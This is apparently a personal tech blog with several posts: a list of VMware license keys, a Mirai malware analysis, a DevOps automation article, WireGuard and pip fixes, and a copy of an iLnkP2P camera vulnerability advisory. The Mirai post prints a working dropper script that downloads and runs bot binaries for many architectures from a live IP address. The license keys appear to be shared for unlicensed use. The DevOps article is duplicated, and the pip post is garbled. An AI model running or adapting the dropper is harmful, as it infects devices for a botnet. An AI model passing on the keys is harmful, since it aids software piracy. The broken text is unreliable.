"The measure of success is not determined by how well a process is adhered to, but in how well the exceptions are handled."
- Unknown -
Sunday, August 25, 2019
Sentence of the day
Wednesday, August 14, 2019
VMWare license keys
GY100-05WDK-H80RZ-4QMNC-XF8U0
GF51K-ATYEN-M815Q-XGQQX-WCHAF
YZ5JU-0XZ95-08DVP-3XQZC-M7HZ2
AY5X2-81FD4-085JP-H4MQT-XKUX0
UZ700-0RZ5H-0882P-9GXEG-WK894
CA1E8-0FD83-4816P-RGWXV-ZCKGF
YZ35U-4PED5-M881Z-87WEV-NY2XA
FC382-DFDDL-4801Q-KNYNT-YVAR6
GA18K-DRXE3-488TZ-J4ZNX-PZAXA
FF590-2DX83-M81LZ-XDM7E-MKUT4
Wednesday, August 7, 2019
New Mirai Variant (KOR, RU) - Different Architectures incl MIPS & ARMv7
Generic.Bash.MiraiA.72271860
-------------------------------
File Identification
MD5: 43f9fc4fbc043cceda8aab0b596010be
Sha1: b8ff8c4b7a85be8d67eb21016bda1690a2effc42
Sha256: 86655593af5eaf3f4055c61a4e86c5b8ac02d330726fbd52dfa2073abc60
----------------
Virbr0
HTTP traffic on port 443 (POST) 192.168.122.21 178.255.209.22 Policy Violation HTTPon443
----------------
IP 185.70.105.178
URL http://185.70.105.178/armv5l
URL http://185.70.105.178/mipsel
URL http://185.70.105.178/powerpc
URL http://185.70.105.178/sparc
URL http://185.70.105.178/i586
URL http://185.70.105.178/m68k
URL http://185.70.105.178/i686
URL http://185.70.105.178/sh4
URL http://185.70.105.178/mips
URL http://185.70.105.178/armv6l
URL http://185.70.105.178/armv7l
URL http://185.70.105.178/armv4l
URL http://185.70.105.178/x86
----------------
File Type: Bourne-Again shell script, ASCII text executable
Analysis Date: Jul. 30, 2019, 9:56 AM
Size: 1.818 KB (1818 bytes)
File Classification: SH
AVAST BV:Downloader-AAN\ [Drp] Malware infection
----------------
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/armv4l; chmod +x armv4l; ./armv4l; rm -rf armv4l
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/armv5l; chmod +x armv5l; ./armv5l; rm -rf armv5l
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/armv6l; chmod +x armv6l; ./armv6l; rm -rf armv6l
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/armv7l; chmod +x armv7l; ./armv7l; rm -rf armv7l
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/i586; chmod +x i586; ./i586; rm -rf i586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/i686; chmod +x i686; ./i686; rm -rf i686
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/m68k; chmod +x m68k; ./m68k; rm -rf m68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/mips; chmod +x mips; ./mips; rm -rf mips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/mipsel; chmod +x mipsel; ./mipsel; rm -rf mipsel
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/powerpc-440fp; chmod +x powerpc-440fp; ./powerpc-440fp; rm -rf powerpc-440fp
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/powerpc; chmod +x powerpc; ./powerpc; rm -rf powerpc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/sh4; chmod +x sh4; ./sh4; rm -rf sh4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/sparc; chmod +x sparc; ./sparc; rm -rf sparc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.70.105.178/x86; chmod +x x86; ./x86; rm -rf x86
----------------
Generic.Bash.MiraiA.72271860
Wednesday, July 3, 2019
Mistakes when adopting DevOps for production network automation
If that sounds a lot like “DevOps is coming to a network near you”
then you have perfect pitch, because that’s exactly what’s going on
inside enterprises around the globe.
We already have plenty of evidence, empirical and anecdotal, to indicate that use of automation and orchestration in production environments is not an anomaly. In fact, it appears to be accelerating as NetOps teams try to catch up to their DevOps counterparts.
The pressure to reach automated parity with app development environments can lead to skipping the strategy and going right for the tactical approach to adopting a more agile, automated means of making changes to the production pipeline.
That’s not a good thing. Production is not development, and the blast radius is significantly larger in production where there are hundreds -- sometimes thousands -- of applications and business processes relying on shared networking services. You can’t fail fast enough to avoid incurring damages when something goes wrong.
So as automation and orchestration become the norm in production environments, NetOps teams should be mindful of which DevOps practices they embrace and which they don’t. Because when bad habits are really hard to break, the best option is simply to avoid forming them in the first place.
To help you out, here are the top three bad habits you should avoid when adopting DevOps for production network automation and orchestration:
The State of Code Review 2017 from SmartBear, a supplier of software-quality tools for teams, notes that 74% of developers participate in code reviews. That sounds good, until you realize that means the other 26% aren’t. Unsurprisingly, the No. 1 reason cited for not reviewing code at desired levels is workload.
This is how defects and bugs (excuse me, "undocumented features") creep into software. These are logic and security-based mistakes that can lead to crashes, outages, memory leaks, and even breaches. When you’re writing scripts, and integrating multiple services to automate and orchestrate a process, you are writing code. And if you are writing code, it needs to be reviewed by someone other than you.
Remember, this isn’t testing or QA where you can mess up and it doesn’t impact the business’ bottom line. This will be production, and a single mistake can lead to all sorts of problems. Make the time to conduct code reviews. The benefits are well-documented and include:
According to a 2016 survey conducted by Software Improvement Group and O’Reilly, 70% of respondents "believe that maintainability is the most important aspect of code to measure, even as compared to performance or security."
I hate PERL, and I’m not all that fond of Python. So I’m going to use node.js instead. Or maybe I’m just going to craft some incomprehensible command-line magic with sed, awk, and my friend grep to push this change to that router. Problem is, no one else uses node.js and that command line relies on my system-specific configuration.
That is not maintainable, and using “whatever language/tool/system” you want to build scripts and services to automate networking makes embracing code reviews really, really hard. It won’t go well for you. If no one else can maintain that code, it becomes yours. For life.
It’s like the goldfish you begged for when you were eight and now you’re stuck with it.
Standardizing on languages, tools, and systems early is important.
3. Ignoring security Rule Zero
Every AD&D (Dungeons and Dragons) player, at least all the ones I play with, know about Rule Zero: “The Dungeon Master is the final arbiter of all rule decisions.” It supersedes all other rules in the game, hence the reason it is numbered as zero. In security, we also have a rule zero: “Thou shalt never trust user input. Ever.”
A number of high-profile outages were caused by ignoring this rule because command-line parameters passed to any script are, by default, user input. Ignoring this rule may trigger one a resume-generating event by accidentally causing an outage of extreme proportions.
Never trust user input explicitly.
Whether that’s the IP address of a wiring closet switch or a variable passed to inform a firewall script which port to open or close, don’t blindly execute on it. Instead, always validate input and, if necessary, force the human invoker of the script to verify the input. After all, they might not have meant to push that configuration change to every switch.
As you proceed with efforts to automate IT in 2018, pay close attention to the habits you’re forming. Avoiding these three bad habits will go a long way toward ensuring a successful and productive year.
We already have plenty of evidence, empirical and anecdotal, to indicate that use of automation and orchestration in production environments is not an anomaly. In fact, it appears to be accelerating as NetOps teams try to catch up to their DevOps counterparts.
The pressure to reach automated parity with app development environments can lead to skipping the strategy and going right for the tactical approach to adopting a more agile, automated means of making changes to the production pipeline.
That’s not a good thing. Production is not development, and the blast radius is significantly larger in production where there are hundreds -- sometimes thousands -- of applications and business processes relying on shared networking services. You can’t fail fast enough to avoid incurring damages when something goes wrong.
So as automation and orchestration become the norm in production environments, NetOps teams should be mindful of which DevOps practices they embrace and which they don’t. Because when bad habits are really hard to break, the best option is simply to avoid forming them in the first place.
To help you out, here are the top three bad habits you should avoid when adopting DevOps for production network automation and orchestration:
3 Bad Habits NetOps Should Avoid
1. Skipping the code reviewThe State of Code Review 2017 from SmartBear, a supplier of software-quality tools for teams, notes that 74% of developers participate in code reviews. That sounds good, until you realize that means the other 26% aren’t. Unsurprisingly, the No. 1 reason cited for not reviewing code at desired levels is workload.
This is how defects and bugs (excuse me, "undocumented features") creep into software. These are logic and security-based mistakes that can lead to crashes, outages, memory leaks, and even breaches. When you’re writing scripts, and integrating multiple services to automate and orchestrate a process, you are writing code. And if you are writing code, it needs to be reviewed by someone other than you.
Remember, this isn’t testing or QA where you can mess up and it doesn’t impact the business’ bottom line. This will be production, and a single mistake can lead to all sorts of problems. Make the time to conduct code reviews. The benefits are well-documented and include:
- increased quality of code with higher chance of identifying and eliminating security flaws
- knowledge sharing -- others learn the process along with the code
- compliance (ISO 9000/9001)
According to a 2016 survey conducted by Software Improvement Group and O’Reilly, 70% of respondents "believe that maintainability is the most important aspect of code to measure, even as compared to performance or security."
I hate PERL, and I’m not all that fond of Python. So I’m going to use node.js instead. Or maybe I’m just going to craft some incomprehensible command-line magic with sed, awk, and my friend grep to push this change to that router. Problem is, no one else uses node.js and that command line relies on my system-specific configuration.
That is not maintainable, and using “whatever language/tool/system” you want to build scripts and services to automate networking makes embracing code reviews really, really hard. It won’t go well for you. If no one else can maintain that code, it becomes yours. For life.
It’s like the goldfish you begged for when you were eight and now you’re stuck with it.
Standardizing on languages, tools, and systems early is important.
3. Ignoring security Rule Zero
Every AD&D (Dungeons and Dragons) player, at least all the ones I play with, know about Rule Zero: “The Dungeon Master is the final arbiter of all rule decisions.” It supersedes all other rules in the game, hence the reason it is numbered as zero. In security, we also have a rule zero: “Thou shalt never trust user input. Ever.”
A number of high-profile outages were caused by ignoring this rule because command-line parameters passed to any script are, by default, user input. Ignoring this rule may trigger one a resume-generating event by accidentally causing an outage of extreme proportions.
Never trust user input explicitly.
Whether that’s the IP address of a wiring closet switch or a variable passed to inform a firewall script which port to open or close, don’t blindly execute on it. Instead, always validate input and, if necessary, force the human invoker of the script to verify the input. After all, they might not have meant to push that configuration change to every switch.
As you proceed with efforts to automate IT in 2018, pay close attention to the habits you’re forming. Avoiding these three bad habits will go a long way toward ensuring a successful and productive year.
Friday, June 14, 2019
Wireguard on Raspberry Pi 2 B+
Probably after the installation you will not be able to run wireguard due missing modules in /lib/modules.
Verify by issuing:
sudo modprobe wireguard
modprobe: FATAL: Module wireguard not found in directory /lib/modules/4.19.50-v7+
[SOLUTION :]
sudo dpkg-reconfigure wireguard-dkms
sudo modprobe wireguard
pip error - cannot import main [SOLVED] + module has no attribute SSL_ST_INIT
Set python2.7 as default:
select python2.7
Remove
Reinstall it:
Check the
Do not upgrade
sudo update-alternatives --config pythonselect python2.7
Remove
pip:sudo python -m pip uninstall pip
sudo apt purge --autoremove python-pipReinstall it:
sudo apt install python-pipCheck the
pip --version:pip 9.0.1 from /usr/lib/python2.7/dist-packages (python 2.7)Do not upgrade
pip to the latest version.In case of the following error:
AttributeError: 'module' object has no attribute 'SSL_ST_INIT'
sudo python -m easy_install --upgrade pyOpenSSLWednesday, June 5, 2019
hacked.camera
Hundreds of brands of security cameras, baby monitors, and
“smart” doorbells have serious vulnerabilities that allow hackers to
hijack devices and spy on their owners.
Affected devices use “peer-to-peer” features (also known as “P2P”) that allow users to connect to their devices the moment they come online. Hackers are able to exploit flaws in these features to rapidly find vulnerable cameras, then launch attacks to access them – all without the owner’s knowledge.
Over 2 million vulnerable devices have been identified on the Internet, including those distributed by HiChip, TENVIS, SV3C, VStarcam, Wanscam, NEO Coolcam, Sricam, Eye Sight, and HVCAM. Affected devices use a component called iLnkP2P. Unfortunately, iLnkP2P is used by hundreds of other brands as well, making identification of vulnerable devices difficult.
A UID will look like:
In this example,
If disposing of the device is not possible, the P2P functionality may be effectively neutered by blocking outbound traffic to UDP port 32100. This will prevent devices from being accessed from external networks via P2P (though local access will still work).
iLnkP2P is one of several P2P solutions utilized by device manufacturers. It was developed by Shenzhen Yunni Technology Company, Inc.
Affected devices use “peer-to-peer” features (also known as “P2P”) that allow users to connect to their devices the moment they come online. Hackers are able to exploit flaws in these features to rapidly find vulnerable cameras, then launch attacks to access them – all without the owner’s knowledge.
Over 2 million vulnerable devices have been identified on the Internet, including those distributed by HiChip, TENVIS, SV3C, VStarcam, Wanscam, NEO Coolcam, Sricam, Eye Sight, and HVCAM. Affected devices use a component called iLnkP2P. Unfortunately, iLnkP2P is used by hundreds of other brands as well, making identification of vulnerable devices difficult.
Am I affected?
Vulnerable devices will have a special serial number known as a UID, which is typically printed on a label somewhere on the device.A UID will look like:
FFFF-123456-ABCDEIn this example,
FFFF is the device’s prefix. Devices with the following prefixes are known to be vulnerable:| AID | AJT | AVA | BSIP | CAM |
| CPTCAM | CTW | DFT | DFZ | DYNE |
| EEEE | ELSA | ESN | ESS | EST |
| FFFF | GCMN | GGGG | GKW | HDT |
| HHHH | HRXJ | HVC | HWAA | HZD |
| HZDA | HZDB | HZDC | HZDN | HZDX |
| HZDY | HZDZ | IIII | IPC | ISRP |
| JWEV | KSC | MCI | MCIHD | MDI |
| MDIHD | MEG | MEYE | MGA | MGW |
| MIC | MICHD | MMMM | MSE | MSEHD |
| MSI | MSIHD | MTE | MTEHD | MUI |
| MUIHD | NIP | NIPHD | NPC | NTP |
| OBJ | OPCS | OPMS | PAR | PARC |
| PCS | PHP | PIO | PIPCAM | PIX |
| PNP | PSD | PTP | QHSV | ROSS |
| SID | SIP | SXH | TIO | TSD |
| UID | VIO | VSTD | VSTF | WBT |
| WBTHD | WNS | WNSC | WXH | WXO |
| XDBL | XTST | ZES | ZLD | ZSKJ |
| ZZZZ |
What can I do?
Ideally, buy a new device from a reputable vendor. Research suggests that a fix from vendors is unlikely, and these devices are often riddled with other security problems that put their owners at risk.If disposing of the device is not possible, the P2P functionality may be effectively neutered by blocking outbound traffic to UDP port 32100. This will prevent devices from being accessed from external networks via P2P (though local access will still work).
More Information
What is P2P? What is iLnkP2P?
P2P is a feature included in many devices that allows them to be accessed without any manual configuration. By using a special serial number known as a UID, users may instantly connect to their device from their phone or computer. A main selling point of P2P devices is that they do not require port forwarding or dynamic DNS in order to be accessed, and are capable of overcoming NAT and firewall scenarios automatically.iLnkP2P is one of several P2P solutions utilized by device manufacturers. It was developed by Shenzhen Yunni Technology Company, Inc.
What is CVE-2019-11219?
CVE-2019-11219 refers to an enumeration vulnerability in iLnkP2P that allows attackers to rapidly discover devices that are online. Due to the nature of P2P, attackers are then able to directly connect to arbitrary devices while bypassing firewall restrictions.What is CVE-2019-11220?
CVE-2019-11220 refers to an authentication vulnerability in iLnkP2P that allows attackers to intercept connections to devices and perform man-in-the-middle attacks. Attackers may use this vulnerability to steal the password to a device and take control of it.Are all P2P devices vulnerable to these issues?
No. There are several different P2P solutions in use by different vendors. These issues are specific to devices that use iLnkP2P.I don’t know my UID. Is there another way to determine if I am affected?
Devices that use the following Android apps may be vulnerable:- HiChip: CamHi, P2PWIFICAM, iMega Cam, WEBVISION, P2PIPCamHi, IPCAM P
- VStarcam: Eye4, EyeCloud, VSCAM, PnPCam
- Wanscam: E View7
- NEO: P2PIPCAM, COOLCAMOP
- Sricam: APCamera
- Various: P2PCam_HD
Who are you?
I am Paul
Subscribe to:
Posts (Atom)